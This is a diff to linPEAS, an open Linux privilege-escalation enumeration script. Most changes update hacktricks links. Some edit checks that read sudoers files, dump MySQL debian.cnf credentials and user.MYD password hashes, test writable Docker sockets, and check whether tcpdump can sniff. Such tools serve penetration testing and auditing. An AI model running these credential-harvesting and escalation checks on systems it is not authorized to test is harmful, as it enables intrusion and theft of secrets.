print_2title "Analyzing .socket files"
|
||||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sockets"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sockets"
|
||||||
printf "%s\n" "$PSTORAGE_SOCKET" | while read s; do
|
printf "%s\n" "$PSTORAGE_SOCKET" | while read s; do
|
||||||
if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ]; then
|
if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ]; then
|
||||||
echo "Writable .socket file: $s" | sed "s,/.*,${SED_RED},g"
|
echo "Writable .socket file: $s" | sed "s,/.*,${SED_RED},g"
|
||||||
@@ -214,15 +214,15 @@ if ! [ "$IAMROOT" ]; then
|
|||||||
done
|
done
|
||||||
done
|
done
|
||||||
if ! [ "$IAMROOT" ] && [ -w "/var/run/docker.sock" ]; then
|
if ! [ "$IAMROOT" ] && [ -w "/var/run/docker.sock" ]; then
|
||||||
echo "Docker socket /var/run/docker.sock is writable (https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-docker-socket)" | sed "s,/var/run/docker.sock is writable,${SED_RED_YELLOW},g"
|
echo "Docker socket /var/run/docker.sock is writable (https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-docker-socket)" | sed "s,/var/run/docker.sock is writable,${SED_RED_YELLOW},g"
|
||||||
fi
|
fi
|
||||||
if ! [ "$IAMROOT" ] && [ -w "/run/docker.sock" ]; then
|
if ! [ "$IAMROOT" ] && [ -w "/run/docker.sock" ]; then
|
||||||
echo "Docker socket /run/docker.sock is writable (https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-docker-socket)" | sed "s,/var/run/docker.sock is writable,${SED_RED_YELLOW},g"
|
echo "Docker socket /run/docker.sock is writable (https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-docker-socket)" | sed "s,/var/run/docker.sock is writable,${SED_RED_YELLOW},g"
|
||||||
fi
|
fi
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
print_2title "Unix Sockets Listening"
|
print_2title "Unix Sockets Listening"
|
||||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sockets"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sockets"
|
||||||
# Search sockets using netstat and ss
|
# Search sockets using netstat and ss
|
||||||
unix_scks_list=$(ss -xlp -H state listening 2>/dev/null | grep -Eo "/.* " | cut -d " " -f1)
|
unix_scks_list=$(ss -xlp -H state listening 2>/dev/null | grep -Eo "/.* " | cut -d " " -f1)
|
||||||
if ! [ "$unix_scks_list" ];then
|
if ! [ "$unix_scks_list" ];then
|
||||||
@@ -262,7 +262,7 @@ fi
|
|||||||
|
|
||||||
#-- PSC) Writable and weak policies in D-Bus config files
|
#-- PSC) Writable and weak policies in D-Bus config files
|
||||||
print_2title "D-Bus config files"
|
print_2title "D-Bus config files"
|
||||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#d-bus"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#d-bus"
|
||||||
if [ "$PSTORAGE_DBUS" ]; then
|
if [ "$PSTORAGE_DBUS" ]; then
|
||||||
printf "%s\n" "$PSTORAGE_DBUS" | while read d; do
|
printf "%s\n" "$PSTORAGE_DBUS" | while read d; do
|
||||||
for f in $d/*; do
|
for f in $d/*; do
|
||||||
@@ -289,7 +289,7 @@ fi
|
|||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
print_2title "D-Bus Service Objects list"
|
print_2title "D-Bus Service Objects list"
|
||||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#d-bus"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#d-bus"
|
||||||
dbuslist=$(busctl list 2>/dev/null)
|
dbuslist=$(busctl list 2>/dev/null)
|
||||||
if [ "$dbuslist" ]; then
|
if [ "$dbuslist" ]; then
|
||||||
busctl list | while read line; do
|
busctl list | while read line; do
|
||||||
|
|||||||
@@ -53,7 +53,7 @@ fi
|
|||||||
|
|
||||||
#-- NI) Ports
|
#-- NI) Ports
|
||||||
print_2title "Active Ports"
|
print_2title "Active Ports"
|
||||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports"
|
||||||
( (netstat -punta || ss -nltpu || netstat -anv) | grep -i listen) 2>/dev/null | sed -${E} "s,127.0.[0-9]+.[0-9]+|:::|::1:|0\.0\.0\.0,${SED_RED},"
|
( (netstat -punta || ss -nltpu || netstat -anv) | grep -i listen) 2>/dev/null | sed -${E} "s,127.0.[0-9]+.[0-9]+|:::|::1:|0\.0\.0\.0,${SED_RED},"
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
@@ -92,14 +92,14 @@ fi
|
|||||||
print_2title "Can I sniff with tcpdump?"
|
print_2title "Can I sniff with tcpdump?"
|
||||||
timeout 1 tcpdump >/dev/null 2>&1
|
timeout 1 tcpdump >/dev/null 2>&1
|
||||||
if [ $? -eq 124 ]; then #If 124, then timed out == It worked
|
if [ $? -eq 124 ]; then #If 124, then timed out == It worked
|
||||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sniffing"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sniffing"
|
||||||
echo "You can sniff with tcpdump!" | sed -${E} "s,.*,${SED_RED},"
|
echo "You can sniff with tcpdump!" | sed -${E} "s,.*,${SED_RED},"
|
||||||
else echo_no
|
else echo_no
|
||||||
fi
|
fi
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
#-- NI) Internet access
|
#-- NI) Internet access
|
||||||
if ! [ "$SUPERFAST" ] && [ "$EXTRA_CHECKS" ] && ! [ "$FAST" ] && [ "$TIMEOUT" ] && [ -f "/bin/bash" ]; then
|
if [ "$AUTO_NETWORK_SCAN" ] && [ "$TIMEOUT" ] && [ -f "/bin/bash" ]; then
|
||||||
print_2title "Internet Access?"
|
print_2title "Internet Access?"
|
||||||
check_tcp_80 2>/dev/null &
|
check_tcp_80 2>/dev/null &
|
||||||
check_tcp_443 2>/dev/null &
|
check_tcp_443 2>/dev/null &
|
||||||
@@ -109,7 +109,7 @@ if ! [ "$SUPERFAST" ] && [ "$EXTRA_CHECKS" ] && ! [ "$FAST" ] && [ "$TIMEOUT" ]
|
|||||||
echo ""
|
echo ""
|
||||||
fi
|
fi
|
||||||
|
|
||||||
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] || [ "$AUTO_NETWORK_SCAN" ]; then
|
if [ "$AUTO_NETWORK_SCAN" ]; then
|
||||||
if ! [ "$FOUND_NC" ]; then
|
if ! [ "$FOUND_NC" ]; then
|
||||||
printf $RED"[-] $SCAN_BAN_BAD\n$NC"
|
printf $RED"[-] $SCAN_BAN_BAD\n$NC"
|
||||||
echo "The network is not going to be scanned..."
|
echo "The network is not going to be scanned..."
|
||||||
|
|||||||
@@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
#-- UI) My user
|
#-- UI) My user
|
||||||
print_2title "My user"
|
print_2title "My user"
|
||||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#users"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#users"
|
||||||
(id || (whoami && groups)) 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" | sed -${E} "s,$idB,${SED_RED},g"
|
(id || (whoami && groups)) 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" | sed -${E} "s,$idB,${SED_RED},g"
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
@@ -59,16 +59,16 @@ fi
|
|||||||
|
|
||||||
#-- UI) Sudo -l
|
#-- UI) Sudo -l
|
||||||
print_2title "Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d"
|
print_2title "Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d"
|
||||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid"
|
||||||
(echo '' | sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoB,${SED_RED},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed "s,\!root,${SED_RED},") 2>/dev/null || echo_not_found "sudo"
|
(echo '' | timeout 1 sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoB,${SED_RED},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed "s,\!root,${SED_RED},") 2>/dev/null || echo_not_found "sudo"
|
||||||
if [ "$PASSWORD" ]; then
|
if [ "$PASSWORD" ]; then
|
||||||
(echo "$PASSWORD" | sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoB,${SED_RED},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW},") 2>/dev/null || echo_not_found "sudo"
|
(echo "$PASSWORD" | timeout 1 sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoB,${SED_RED},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW},") 2>/dev/null || echo_not_found "sudo"
|
||||||
fi
|
fi
|
||||||
( grep -Iv "^$" cat /etc/sudoers | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW},") 2>/dev/null || echo_not_found "/etc/sudoers"
|
( grep -Iv "^$" cat /etc/sudoers | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW},") 2>/dev/null || echo_not_found "/etc/sudoers"
|
||||||
if ! [ "$IAMROOT" ] && [ -w '/etc/sudoers.d/' ]; then
|
if ! [ "$IAMROOT" ] && [ -w '/etc/sudoers.d/' ]; then
|
||||||
echo "You can create a file in /etc/sudoers.d/ and escalate privileges" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
echo "You can create a file in /etc/sudoers.d/ and escalate privileges" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||||
fi
|
fi
|
||||||
for filename in '/etc/sudoers.d/*'; do
|
for filename in /etc/sudoers.d/*; do
|
||||||
if [ -r "$filename" ]; then
|
if [ -r "$filename" ]; then
|
||||||
echo "Sudoers file: $filename is readable" | sed -${E} "s,.*,${SED_RED},g"
|
echo "Sudoers file: $filename is readable" | sed -${E} "s,.*,${SED_RED},g"
|
||||||
grep -Iv "^$" "$filename" | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW},"
|
grep -Iv "^$" "$filename" | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW},"
|
||||||
@@ -78,7 +78,7 @@ echo ""
|
|||||||
|
|
||||||
#-- UI) Sudo tokens
|
#-- UI) Sudo tokens
|
||||||
print_2title "Checking sudo tokens"
|
print_2title "Checking sudo tokens"
|
||||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#reusing-sudo-tokens"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#reusing-sudo-tokens"
|
||||||
ptrace_scope="$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)"
|
ptrace_scope="$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)"
|
||||||
if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then echo "ptrace protection is disabled (0)" | sed "s,is disabled,${SED_RED},g";
|
if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then echo "ptrace protection is disabled (0)" | sed "s,is disabled,${SED_RED},g";
|
||||||
else echo "ptrace protection is enabled ($ptrace_scope)" | sed "s,is enabled,${SED_GREEN},g";
|
else echo "ptrace protection is enabled ($ptrace_scope)" | sed "s,is enabled,${SED_GREEN},g";
|
||||||
@@ -117,7 +117,7 @@ fi
|
|||||||
|
|
||||||
#-- UI) Pkexec policy
|
#-- UI) Pkexec policy
|
||||||
print_2title "Checking Pkexec policy"
|
print_2title "Checking Pkexec policy"
|
||||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe#pe-method-2"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe#pe-method-2"
|
||||||
(cat /etc/polkit-1/localauthority.conf.d/* 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED}," | sed -${E} "s,$groupsVB,${SED_RED}," | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,$USER,${SED_RED_YELLOW}," | sed -${E} "s,$Groups,${SED_RED_YELLOW},") || echo_not_found "/etc/polkit-1/localauthority.conf.d"
|
(cat /etc/polkit-1/localauthority.conf.d/* 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED}," | sed -${E} "s,$groupsVB,${SED_RED}," | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,$USER,${SED_RED_YELLOW}," | sed -${E} "s,$Groups,${SED_RED_YELLOW},") || echo_not_found "/etc/polkit-1/localauthority.conf.d"
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
|
|||||||
@@ -2,6 +2,8 @@
|
|||||||
#--------) Software Information (---------#
|
#--------) Software Information (---------#
|
||||||
###########################################
|
###########################################
|
||||||
|
|
||||||
|
NGINX_KNOWN_MODULES="ngx_http_geoip_module.so|ngx_http_xslt_filter_module.so|ngx_stream_geoip_module.so|ngx_http_image_filter_module.so|ngx_mail_module.so|ngx_stream_module.so"
|
||||||
|
|
||||||
#-- SI) Useful software
|
#-- SI) Useful software
|
||||||
print_2title "Useful software"
|
print_2title "Useful software"
|
||||||
for tool in $USEFUL_SOFTWARE; do command -v "$tool"; done
|
for tool in $USEFUL_SOFTWARE; do command -v "$tool"; done
|
||||||
@@ -41,8 +43,12 @@ fi
|
|||||||
|
|
||||||
#-- SI) Mysql version
|
#-- SI) Mysql version
|
||||||
if [ "$(command -v mysql)" ] || [ "$(command -v mysqladmin)" ] || [ "$DEBUG" ]; then
|
if [ "$(command -v mysql)" ] || [ "$(command -v mysqladmin)" ] || [ "$DEBUG" ]; then
|
||||||
print_2title "MySQL version"
|
print_2title "MySQL"
|
||||||
mysql --version 2>/dev/null || echo_not_found "mysql"
|
mysql --version 2>/dev/null || echo_not_found "mysql"
|
||||||
|
mysqluser=$(systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1)
|
||||||
|
if [ "$mysqluser" ]; then
|
||||||
|
echo "MySQL user: $mysqluser" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
|
||||||
|
fi
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
#-- SI) Mysql connection root/root
|
#-- SI) Mysql connection root/root
|
||||||
@@ -78,30 +84,46 @@ fi
|
|||||||
if [ "$PSTORAGE_MYSQL" ] || [ "$DEBUG" ]; then
|
if [ "$PSTORAGE_MYSQL" ] || [ "$DEBUG" ]; then
|
||||||
print_2title "Searching mysql credentials and exec"
|
print_2title "Searching mysql credentials and exec"
|
||||||
printf "%s\n" "$PSTORAGE_MYSQL" | while read d; do
|
printf "%s\n" "$PSTORAGE_MYSQL" | while read d; do
|
||||||
for f in $(find $d -name debian.cnf 2>/dev/null); do
|
if [ -f "$d" ] && ! [ "$(basename $d)" = "mysql" ]; then
|
||||||
if [ -r "$f" ]; then
|
STRINGS="`command -v strings`"
|
||||||
echo "We can read the mysql debian.cnf. You can use this username/password to log in MySQL" | sed -${E} "s,.*,${SED_RED},"
|
echo "Potential file containing credentials:"
|
||||||
cat "$f"
|
ls -l "$d"
|
||||||
|
if [ "$STRINGS" ]; then
|
||||||
|
strings "$d"
|
||||||
|
else
|
||||||
|
echo "Strings not found, cat the file and check it to get the creds"
|
||||||
fi
|
fi
|
||||||
done
|
|
||||||
for f in $(find $d -name user.MYD 2>/dev/null); do
|
else
|
||||||
if [ -r "$f" ]; then
|
for f in $(find $d -name debian.cnf 2>/dev/null); do
|
||||||
echo "We can read the Mysql Hashes from $f" | sed -${E} "s,.*,${SED_RED},"
|
if [ -r "$f" ]; then
|
||||||
grep -oaE "[-_\.\*a-Z0-9]{3,}" $f | grep -v "mysql_native_password"
|
echo "We can read the mysql debian.cnf. You can use this username/password to log in MySQL" | sed -${E} "s,.*,${SED_RED},"
|
||||||
fi
|
cat "$f"
|
||||||
done
|
fi
|
||||||
for f in $(grep -lr "user\s*=" $d 2>/dev/null | grep -v "debian.cnf"); do
|
done
|
||||||
if [ -r "$f" ]; then
|
|
||||||
u=$(cat "$f" | grep -v "#" | grep "user" | grep "=" 2>/dev/null)
|
for f in $(find $d -name user.MYD 2>/dev/null); do
|
||||||
echo "From '$f' Mysql user: $u" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
|
if [ -r "$f" ]; then
|
||||||
fi
|
echo "We can read the Mysql Hashes from $f" | sed -${E} "s,.*,${SED_RED},"
|
||||||
done
|
grep -oaE "[-_\.\*a-Z0-9]{3,}" "$f" | grep -v "mysql_native_password"
|
||||||
for f in $(find $d -name my.cnf 2>/dev/null); do
|
fi
|
||||||
if [ -r "$f" ]; then
|
done
|
||||||
echo "Found readable $f"
|
|
||||||
grep -v "^#" "$f" | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed "s,password.*,${SED_RED},"
|
for f in $(grep -lr "user\s*=" $d 2>/dev/null | grep -v "debian.cnf"); do
|
||||||
fi
|
if [ -r "$f" ]; then
|
||||||
done
|
u=$(cat "$f" | grep -v "#" | grep "user" | grep "=" 2>/dev/null)
|
||||||
|
echo "From '$f' Mysql user: $u" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
for f in $(find $d -name my.cnf 2>/dev/null); do
|
||||||
|
if [ -r "$f" ]; then
|
||||||
|
echo "Found readable $f"
|
||||||
|
grep -v "^#" "$f" | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed "s,password.*,${SED_RED},"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
fi
|
||||||
|
|
||||||
mysqlexec=$(whereis lib_mysqludf_sys.so 2>/dev/null | grep "lib_mysqludf_sys\.so")
|
mysqlexec=$(whereis lib_mysqludf_sys.so 2>/dev/null | grep "lib_mysqludf_sys\.so")
|
||||||
if [ "$mysqlexec" ]; then
|
if [ "$mysqlexec" ]; then
|
||||||
echo "Found $mysqlexec"
|
echo "Found $mysqlexec"
|
||||||
@@ -142,7 +164,7 @@ fi
|
|||||||
|
|
||||||
peass{Mongo}
|
peass{Mongo}
|
||||||
|
|
||||||
peass{Apache}
|
peass{Apache-Nginx}
|
||||||
|
|
||||||
peass{Tomcat}
|
peass{Tomcat}
|
||||||
|
|
||||||
@@ -192,7 +214,7 @@ if [ "$PSTORAGE_CERTSB4" ]; then certsb4_grep=$(grep -L "\"\|'\|(" $PSTORAGE_CER
|
|||||||
sshconfig="$(ls /etc/ssh/ssh_config 2>/dev/null)"
|
sshconfig="$(ls /etc/ssh/ssh_config 2>/dev/null)"
|
||||||
hostsdenied="$(ls /etc/hosts.denied 2>/dev/null)"
|
hostsdenied="$(ls /etc/hosts.denied 2>/dev/null)"
|
||||||
hostsallow="$(ls /etc/hosts.allow 2>/dev/null)"
|
hostsallow="$(ls /etc/hosts.allow 2>/dev/null)"
|
||||||
writable_agents=$(find $folder_path -type s -name "agent.*" -or -name "*gpg-agent*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')')
|
writable_agents=$(find /tmp /etc /home -type s -name "agent.*" -or -name "*gpg-agent*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)
|
||||||
|
|
||||||
peass{SSH}
|
peass{SSH}
|
||||||
|
|
||||||
@@ -288,7 +310,7 @@ kadmin_exists="$(command -v kadmin)"
|
|||||||
klist_exists="$(command -v klist)"
|
klist_exists="$(command -v klist)"
|
||||||
if [ "$kadmin_exists" ] || [ "$klist_exists" ] || [ "$PSTORAGE_KERBEROS" ] || [ "$DEBUG" ]; then
|
if [ "$kadmin_exists" ] || [ "$klist_exists" ] || [ "$PSTORAGE_KERBEROS" ] || [ "$DEBUG" ]; then
|
||||||
print_2title "Searching kerberos conf files and tickets"
|
print_2title "Searching kerberos conf files and tickets"
|
||||||
print_info "http://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-active-directory"
|
print_info "http://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-active-directory"
|
||||||
|
|
||||||
if [ "$kadmin_exists" ]; then echo "kadmin was found on $kadmin_exists" | sed "s,$kadmin_exists,${SED_RED},"; fi
|
if [ "$kadmin_exists" ]; then echo "kadmin was found on $kadmin_exists" | sed "s,$kadmin_exists,${SED_RED},"; fi
|
||||||
if [ "$klist_exists" ] && [ -x "$klist_exists" ]; then echo "klist execution"; klist; fi
|
if [ "$klist_exists" ] && [ -x "$klist_exists" ]; then echo "klist execution"; klist; fi
|
||||||
@@ -380,7 +402,7 @@ fi
|
|||||||
#-- SI) Screen sessions
|
#-- SI) Screen sessions
|
||||||
if [ "$screensess" ] || [ "$screensess2" ] || [ "$DEBUG" ]; then
|
if [ "$screensess" ] || [ "$screensess2" ] || [ "$DEBUG" ]; then
|
||||||
print_2title "Searching screen sessions"
|
print_2title "Searching screen sessions"
|
||||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-shell-sessions"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-shell-sessions"
|
||||||
screensess=$(screen -ls 2>/dev/null)
|
screensess=$(screen -ls 2>/dev/null)
|
||||||
screensess2=$(find /run/screen -type d -path "/run/screen/S-*" 2>/dev/null)
|
screensess2=$(find /run/screen -type d -path "/run/screen/S-*" 2>/dev/null)
|
||||||
|
|
||||||
@@ -399,7 +421,7 @@ tmuxnondefsess=$(ps auxwww | grep "tmux " | grep -v grep)
|
|||||||
tmuxsess2=$(find /tmp -type d -path "/tmp/tmux-*" 2>/dev/null)
|
tmuxsess2=$(find /tmp -type d -path "/tmp/tmux-*" 2>/dev/null)
|
||||||
if [ "$tmuxdefsess" ] || [ "$tmuxnondefsess" ] || [ "$tmuxsess2" ] || [ "$DEBUG" ]; then
|
if [ "$tmuxdefsess" ] || [ "$tmuxnondefsess" ] || [ "$tmuxsess2" ] || [ "$DEBUG" ]; then
|
||||||
print_2title "Searching tmux sessions"$N
|
print_2title "Searching tmux sessions"$N
|
||||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-shell-sessions"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-shell-sessions"
|
||||||
tmux -V
|
tmux -V
|
||||||
printf "$tmuxdefsess\n$tmuxnondefsess\n$tmuxsess2" | sed -${E} "s,.*,${SED_RED}," | sed -${E} "s,no server running on.*,${C}[32m&${C}[0m,"
|
printf "$tmuxdefsess\n$tmuxnondefsess\n$tmuxsess2" | sed -${E} "s,.*,${SED_RED}," | sed -${E} "s,no server running on.*,${C}[32m&${C}[0m,"
|
||||||
|
|
||||||
@@ -526,7 +548,7 @@ peass{Wget}
|
|||||||
containerd=$(command -v ctr)
|
containerd=$(command -v ctr)
|
||||||
if [ "$containerd" ] || [ "$DEBUG" ]; then
|
if [ "$containerd" ] || [ "$DEBUG" ]; then
|
||||||
print_2title "Checking if containerd(ctr) is available"
|
print_2title "Checking if containerd(ctr) is available"
|
||||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation/containerd-ctr-privilege-escalation"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation"
|
||||||
if [ "$containerd" ]; then
|
if [ "$containerd" ]; then
|
||||||
echo "ctr was found in $containerd, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED},"
|
echo "ctr was found in $containerd, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED},"
|
||||||
ctr image list
|
ctr image list
|
||||||
@@ -538,7 +560,7 @@ fi
|
|||||||
runc=$(command -v runc)
|
runc=$(command -v runc)
|
||||||
if [ "$runc" ] || [ "$DEBUG" ]; then
|
if [ "$runc" ] || [ "$DEBUG" ]; then
|
||||||
print_2title "Checking if runc is available"
|
print_2title "Checking if runc is available"
|
||||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation/runc-privilege-escalation"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/runc-privilege-escalation"
|
||||||
if [ "$runc" ]; then
|
if [ "$runc" ]; then
|
||||||
echo "runc was found in $runc, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED},"
|
echo "runc was found in $runc, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED},"
|
||||||
fi
|
fi
|
||||||
@@ -548,25 +570,17 @@ fi
|
|||||||
#-- SI) Docker
|
#-- SI) Docker
|
||||||
if [ "$PSTORAGE_DOCKER" ] || [ "$DEBUG" ]; then
|
if [ "$PSTORAGE_DOCKER" ] || [ "$DEBUG" ]; then
|
||||||
print_2title "Searching docker files (limit 70)"
|
print_2title "Searching docker files (limit 70)"
|
||||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-docker-socket"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation"
|
||||||
printf "%s\n" "$PSTORAGE_DOCKER" | head -n 70 | while read f; do
|
printf "%s\n" "$PSTORAGE_DOCKER" | head -n 70 | while read f; do
|
||||||
ls -l "$f" 2>/dev/null
|
ls -l "$f" 2>/dev/null
|
||||||
if ! [ "$IAMROOT" ] && [ -S "$f" ] && [ -w "$f" ]; then
|
if ! [ "$IAMROOT" ] && [ -S "$f" ] && [ -w "$f" ]; then
|
||||||
echo "Docker socket file ($f) is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
echo "Docker related socket ($f) is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||||
fi
|
fi
|
||||||
done
|
done
|
||||||
echo ""
|
echo ""
|
||||||
fi
|
fi
|
||||||
|
|
||||||
if [ -d "$HOME/.kube" ] || [ -d "/etc/kubernetes" ] || [ -d "/var/lib/localkube" ] || [ "`(env | set) | grep -Ei 'kubernetes|kube' | grep -v "PSTORAGE_KUBELET|USEFUL_SOFTWARE"`" ] || [ "$DEBUG" ]; then
|
peass{Kubernetes}
|
||||||
print_2title "Kubernetes information" | sed -${E} "s,config,${SED_RED},"
|
|
||||||
ls -l "$HOME/.kube" 2>/dev/null
|
|
||||||
